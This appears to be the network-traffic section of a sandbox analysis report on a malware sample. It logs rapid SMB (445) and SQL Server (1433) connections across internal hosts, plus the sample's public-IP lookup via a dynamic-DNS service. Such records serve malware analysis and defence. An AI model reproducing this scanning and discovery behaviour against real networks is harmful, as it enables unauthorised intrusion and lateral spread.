Jul 6, 2024 14:11:36.783513069 CEST	52950	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.783513069 CEST	52952	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.783513069 CEST	52940	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.784306049 CEST	52938	445	192.168.2.6	192.168.4.66
Jul 6, 2024 14:11:36.784691095 CEST	1433	52944	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:36.784883976 CEST	52953	1433	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:36.786070108 CEST	1433	52947	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.786118031 CEST	52947	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.786156893 CEST	1433	52947	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.786484003 CEST	1433	52951	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.786531925 CEST	52951	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.786567926 CEST	52951	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.786789894 CEST	1433	52942	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.787991047 CEST	1433	52926	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.788132906 CEST	1433	52926	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.788326025 CEST	52955	445	192.168.2.6	192.168.3.210
Jul 6, 2024 14:11:36.788697958 CEST	52956	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.788737059 CEST	52957	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.788748980 CEST	52954	445	192.168.2.6	192.168.3.209
Jul 6, 2024 14:11:36.788753033 CEST	445	52928	192.168.4.65	192.168.2.6
Jul 6, 2024 14:11:36.789343119 CEST	445	52938	192.168.4.66	192.168.2.6
Jul 6, 2024 14:11:36.789810896 CEST	52928	445	192.168.2.6	192.168.4.65
Jul 6, 2024 14:11:36.789810896 CEST	52928	445	192.168.2.6	192.168.4.65
Jul 6, 2024 14:11:36.789810896 CEST	52938	445	192.168.2.6	192.168.4.66
Jul 6, 2024 14:11:36.789810896 CEST	52958	445	192.168.2.6	192.168.4.68
Jul 6, 2024 14:11:36.790153027 CEST	1433	52953	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:36.790208101 CEST	52953	1433	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:36.790414095 CEST	52953	1433	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:36.791476965 CEST	1433	52951	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.791510105 CEST	52940	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.791572094 CEST	1433	52951	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.791696072 CEST	1433	52945	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.791721106 CEST	1433	52946	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.792301893 CEST	52942	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.792301893 CEST	52942	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.793303013 CEST	445	52955	192.168.3.210	192.168.2.6
Jul 6, 2024 14:11:36.793354034 CEST	52955	445	192.168.2.6	192.168.3.210
Jul 6, 2024 14:11:36.793375969 CEST	1433	52950	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.793411970 CEST	52955	445	192.168.2.6	192.168.3.210
Jul 6, 2024 14:11:36.793417931 CEST	1433	52952	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.793623924 CEST	1433	52956	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.793667078 CEST	52956	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.793675900 CEST	1433	52957	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.793684006 CEST	52950	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.793684006 CEST	52952	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.793684006 CEST	52952	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.793689966 CEST	52956	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.793829918 CEST	52950	1433	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:36.793982029 CEST	445	52954	192.168.3.209	192.168.2.6
Jul 6, 2024 14:11:36.794032097 CEST	52954	445	192.168.2.6	192.168.3.209
Jul 6, 2024 14:11:36.794080019 CEST	52954	445	192.168.2.6	192.168.3.209
Jul 6, 2024 14:11:36.794334888 CEST	445	52948	192.168.4.67	192.168.2.6
Jul 6, 2024 14:11:36.795248032 CEST	1433	52953	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:36.795600891 CEST	52957	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.795600891 CEST	52957	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.796809912 CEST	1433	52940	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.798393011 CEST	445	52955	192.168.3.210	192.168.2.6
Jul 6, 2024 14:11:36.798485994 CEST	445	52955	192.168.3.210	192.168.2.6
Jul 6, 2024 14:11:36.798659086 CEST	1433	52956	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.798669100 CEST	1433	52956	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.798676968 CEST	1433	52952	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.798686981 CEST	1433	52950	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.798847914 CEST	1433	52950	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:36.798996925 CEST	445	52954	192.168.3.209	192.168.2.6
Jul 6, 2024 14:11:36.799005985 CEST	1433	52952	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.799258947 CEST	445	52954	192.168.3.209	192.168.2.6
Jul 6, 2024 14:11:36.799665928 CEST	52960	1433	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:36.799665928 CEST	52961	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.799706936 CEST	52962	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.800632954 CEST	1433	52957	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.800863981 CEST	1433	52957	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.802440882 CEST	445	52928	192.168.4.65	192.168.2.6
Jul 6, 2024 14:11:36.802449942 CEST	52945	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.802449942 CEST	52945	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.802449942 CEST	52946	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.802449942 CEST	52946	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.802449942 CEST	52948	445	192.168.2.6	192.168.4.67
Jul 6, 2024 14:11:36.803653002 CEST	1433	52942	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.804220915 CEST	1433	52942	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.804497957 CEST	445	52958	192.168.4.68	192.168.2.6
Jul 6, 2024 14:11:36.804558039 CEST	52958	445	192.168.2.6	192.168.4.68
Jul 6, 2024 14:11:36.804678917 CEST	52965	1433	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:36.804714918 CEST	1433	52960	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:36.804809093 CEST	52967	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.804811954 CEST	52960	1433	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:36.804893970 CEST	52960	1433	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:36.805141926 CEST	1433	52961	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.805309057 CEST	52961	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.806040049 CEST	52969	445	192.168.2.6	192.168.4.69
Jul 6, 2024 14:11:36.806197882 CEST	52948	445	192.168.2.6	192.168.4.67
Jul 6, 2024 14:11:36.806197882 CEST	52963	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.806197882 CEST	52964	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.806648970 CEST	52961	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.808832884 CEST	1433	52945	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.808984041 CEST	1433	52945	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.809201956 CEST	52968	1433	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:36.809218884 CEST	1433	52946	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.809240103 CEST	1433	52946	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.809406042 CEST	1433	52962	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.809427977 CEST	52971	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.809509993 CEST	445	52958	192.168.4.68	192.168.2.6
Jul 6, 2024 14:11:36.809848070 CEST	1433	52965	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:36.809859037 CEST	1433	52967	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.809866905 CEST	1433	52960	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:36.809928894 CEST	52967	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.810359955 CEST	445	52948	192.168.4.67	192.168.2.6
Jul 6, 2024 14:11:36.810584068 CEST	52962	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.810584068 CEST	52962	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.810584068 CEST	52958	445	192.168.2.6	192.168.4.68
Jul 6, 2024 14:11:36.810584068 CEST	52965	1433	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:36.810584068 CEST	52960	1433	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:36.810584068 CEST	52965	1433	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:36.810688019 CEST	52972	1433	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:36.810832977 CEST	52967	1433	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:36.812444925 CEST	52970	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.813733101 CEST	1433	52961	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.813793898 CEST	52961	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.813874006 CEST	52961	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.814043999 CEST	52973	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.814172029 CEST	445	52969	192.168.4.69	192.168.2.6
Jul 6, 2024 14:11:36.814188957 CEST	445	52948	192.168.4.67	192.168.2.6
Jul 6, 2024 14:11:36.814199924 CEST	1433	52961	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.814218998 CEST	52969	445	192.168.2.6	192.168.4.69
Jul 6, 2024 14:11:36.814316988 CEST	52969	445	192.168.2.6	192.168.4.69
Jul 6, 2024 14:11:36.815042973 CEST	52948	445	192.168.2.6	192.168.4.67
Jul 6, 2024 14:11:36.815922976 CEST	1433	52963	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.816011906 CEST	1433	52964	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.816020966 CEST	1433	52968	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:36.816030025 CEST	1433	52971	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.816056013 CEST	1433	52962	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.816066027 CEST	1433	52967	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.816081047 CEST	52968	1433	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:36.816091061 CEST	52971	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.816493988 CEST	52968	1433	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:36.816989899 CEST	52963	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.816989899 CEST	52964	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.816989899 CEST	52963	1433	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:36.816989899 CEST	52964	1433	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:36.817154884 CEST	1433	52972	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:36.817388058 CEST	1433	52967	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:36.817938089 CEST	1433	52962	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.818348885 CEST	1433	52965	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:36.818664074 CEST	1433	52961	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.818818092 CEST	52972	1433	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:36.818887949 CEST	1433	52961	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.818897009 CEST	1433	52973	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.818906069 CEST	52965	1433	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:36.818960905 CEST	52971	1433	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:36.818968058 CEST	52973	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.819068909 CEST	52972	1433	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:36.819320917 CEST	52958	445	192.168.2.6	192.168.4.68
Jul 6, 2024 14:11:36.819539070 CEST	52974	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.819691896 CEST	52973	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.821541071 CEST	52975	445	192.168.2.6	192.168.3.211
Jul 6, 2024 14:11:36.823280096 CEST	1433	52968	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:36.823367119 CEST	1433	52970	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.823385000 CEST	1433	52963	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.823394060 CEST	1433	52964	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.823507071 CEST	52970	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.824649096 CEST	1433	52971	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.824768066 CEST	52970	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.825005054 CEST	1433	52972	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:36.825117111 CEST	445	52958	192.168.4.68	192.168.2.6
Jul 6, 2024 14:11:36.825126886 CEST	1433	52974	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.825176954 CEST	52974	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.825217009 CEST	445	52969	192.168.4.69	192.168.2.6
Jul 6, 2024 14:11:36.825249910 CEST	52974	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.825617075 CEST	1433	52971	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:36.825944901 CEST	1433	52968	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:36.825954914 CEST	1433	52963	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:36.826272964 CEST	1433	52973	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.826409101 CEST	1433	52964	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:36.826611996 CEST	1433	52972	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:36.826771975 CEST	1433	52973	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.827605963 CEST	52980	1433	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:36.828067064 CEST	52969	445	192.168.2.6	192.168.4.69
Jul 6, 2024 14:11:36.828989029 CEST	52977	1433	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:36.828989029 CEST	52978	1433	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:36.828989029 CEST	52979	1433	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:36.829375029 CEST	445	52975	192.168.3.211	192.168.2.6
Jul 6, 2024 14:11:36.829498053 CEST	52976	445	192.168.2.6	192.168.4.70
Jul 6, 2024 14:11:36.831594944 CEST	52975	445	192.168.2.6	192.168.3.211
Jul 6, 2024 14:11:36.831594944 CEST	52975	445	192.168.2.6	192.168.3.211
Jul 6, 2024 14:11:36.832535982 CEST	1433	52970	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.832750082 CEST	1433	52974	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.832916021 CEST	1433	52974	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.833014011 CEST	52970	1433	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:36.833275080 CEST	1433	52970	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.834644079 CEST	52982	1433	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:36.834934950 CEST	1433	52980	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:36.836365938 CEST	52983	445	192.168.2.6	192.168.3.212
Jul 6, 2024 14:11:36.836673021 CEST	52985	1433	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:36.836946011 CEST	52986	445	192.168.2.6	192.168.4.71
Jul 6, 2024 14:11:36.837891102 CEST	445	52976	192.168.4.70	192.168.2.6
Jul 6, 2024 14:11:36.838093996 CEST	52980	1433	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:36.838093996 CEST	52980	1433	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:36.838093996 CEST	52984	1433	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:36.838675022 CEST	52976	445	192.168.2.6	192.168.4.70
Jul 6, 2024 14:11:36.839799881 CEST	1433	52970	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:36.840492964 CEST	1433	52977	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:36.840502977 CEST	1433	52978	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:36.840511084 CEST	1433	52979	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:36.841733932 CEST	1433	52982	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:36.841809034 CEST	52977	1433	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:36.841809034 CEST	52978	1433	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:36.841809034 CEST	52979	1433	192.168.2.6	192.168.0.46

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 6, 2024 14:11:06.184875011 CEST	192.168.2.6	8.8.8.8	0xaa9a	Standard query (0)	members.3322.org	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:07.656743050 CEST	192.168.2.6	8.8.8.8	0xaf29	Standard query (0)	opendata.baidu.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 6, 2024 14:10:57.065886021 CEST	1.1.1.1	192.168.2.6	0x1d3a	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 6, 2024 14:10:57.065886021 CEST	1.1.1.1	192.168.2.6	0x1d3a	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:57.115185976 CEST	1.1.1.1	192.168.2.6	0x1d14	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 6, 2024 14:10:57.115185976 CEST	1.1.1.1	192.168.2.6	0x1d14	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:06.899180889 CEST	8.8.8.8	192.168.2.6	0xaa9a	No error (0)	members.3322.org	members.3322.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 6, 2024 14:11:06.899180889 CEST	8.8.8.8	192.168.2.6	0xaa9a	No error (0)	members.3322.net		118.184.169.48	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:08.276211977 CEST	8.8.8.8	192.168.2.6	0xaf29	No error (0)	opendata.baidu.com	open.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 6, 2024 14:11:08.276211977 CEST	8.8.8.8	192.168.2.6	0xaf29	No error (0)	open.a.shifen.com		45.113.194.189	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:08.276211977 CEST	8.8.8.8	192.168.2.6	0xaf29	No error (0)	open.a.shifen.com		45.113.194.127	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49746	118.184.169.48	80	4036	C:\Users\user\Desktop\exe3.bin.bak.exe

Timestamp	Bytes transferred	Direction	Data
Jul 6, 2024 14:11:08.433125019 CEST	222	OUT	GET /dyndns/getip HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: zh-cn Referer: http://118.184.169.48/dyndns/getip User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: 118.184.169.48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49747	45.113.194.189	80	4036	C:\Users\user\Desktop\exe3.bin.bak.exe

Timestamp	Bytes transferred	Direction	Data
Jul 6, 2024 14:11:08.764794111 CEST	284	OUT	GET /api.php?query=&co=&resource_id=6006&oe=utf8 HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: zh-cn Referer: http://45.113.194.189/api.php?query=&co=&resource_id=6006&oe=utf8 User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: 45.113.194.189

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49734	40.126.32.134	443	4036	C:\Users\user\Desktop\exe3.bin.bak.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-06 12:10:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-07-06 12:10:55 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-07-06 12:10:55 UTC	3591	OUT	Data Raw: 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e Data Ascii: ?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.
2024-07-06 12:10:55 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 06 Jul 2024 12:09:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: fa96b51c-7592-49c4-8286-9b28191347a2 PPServer: PPV: 30 H: BL02EPF0001D751 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 06 Jul 2024 12:10:54 GMT Connection: close Content-Length: 11390
2024-07-06 12:10:55 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49756	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-07-06 12:11:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=aWE8rvFcg+AP234&MD=L22uL3Pd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-06 12:11:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b40c7e00-72fa-4444-92b6-b39d72e2c9d7 MS-RequestId: 14351e75-5eaf-4e94-a934-c8972fd2bb0b MS-CV: 1OQffudFZkm2+fgb.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 06 Jul 2024 12:11:19 GMT Connection: close Content-Length: 24490
2024-07-06 12:11:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
